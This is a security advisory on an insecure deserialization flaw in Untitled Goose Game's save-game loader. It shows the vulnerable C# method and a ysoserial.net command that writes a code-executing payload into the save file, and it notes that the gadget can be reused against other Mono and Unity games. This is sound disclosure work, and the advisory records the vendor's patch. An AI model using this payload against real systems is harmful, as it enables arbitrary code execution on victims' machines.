Untitled Goose Game - Insecure Deserialization

Oct 29 2019

Untitled Goose Game was vulnerable to a code execution vulnerability due to unsafe deserialization in the save game loader. An attacker capable of controlling a target user’s save game can leverage this vulnerability to execute malicious code when the save game is loaded.

Date Released: 29/10/2019
Author: Denis Andzakovic
Project Website: https://goose.game/
Affected Software: Untitled Goose Game

Details

Untitled Goose Game used the dotnet BinaryFormatter to read and deserialize save game files. As no SerializationBinder was specified, an attacker who can control the save game file can exploit the deserialization process and execute arbitrary code. This is achieved by writing out a malicious serialized object to a save game file which is later read by Untitled Goose Game. The save game file is located in C:\Users\<USER>\AppData\LocalLow\House House\Untitled Goose Game\savegame0.save.

The deserialization occurs in the StandaloneSaveSystem class, located in Untitled_Data\Managed\Assembly-CSharp.dll. The following figure shows the vulnerable method:

public SaveGameData LoadSlot(int slot)
	{
		string savePath = this.GetSavePath(slot);
		SaveGameData result;
		if (File.Exists(savePath))
		{
			Debug.Log("loading from " + savePath);
			using (FileStream fileStream = File.Open(savePath, FileMode.Open))
			{
				result = (SaveGameData)new BinaryFormatter().Deserialize(fileStream);
			}
			Debug.Log("sucessfully loaded savegame data from " + savePath);
		}
		else
		{
			Debug.Log("savefile doesn't exist. didn't load any data");
			result = new SaveGameData();
		}
		return result;
	}

The following screen capture shows the successful exploit:

Untitled Goose Game Code Exec

ysoserial.net - Mono Support

Exploitation of this vulnerability required a modified version of James Forshaw’s TypeConfuseDelegate deserialization gadget. Details on the patch can be found here. The changes were merged into ysoserial.net with commit 138e21649b9b3977b95f7d3c42e637e17861598c.

The POC used above can be generated with:

ysoserial.exe -f BinaryFormatter -t TypeConfuseDelegateMono -o raw -c "calc" > "C:\Users\<user>\AppData\LocalLow\House House\Untitled Goose Game\savegame0.save"

The new TypeConfuseDelegateMono gadget can be used to exploit deserialization vulnerabilities in other Mono based code bases (including other games built on Unity).

Timeline

07/10/2019 - Advisory sent to House House
09/10/2019 - Advisory acknowledged
12/10/2019 - Patch released to the Epic games store
22/10/2019 - House House advised a patch has been released
29/10/2019 - Advisory released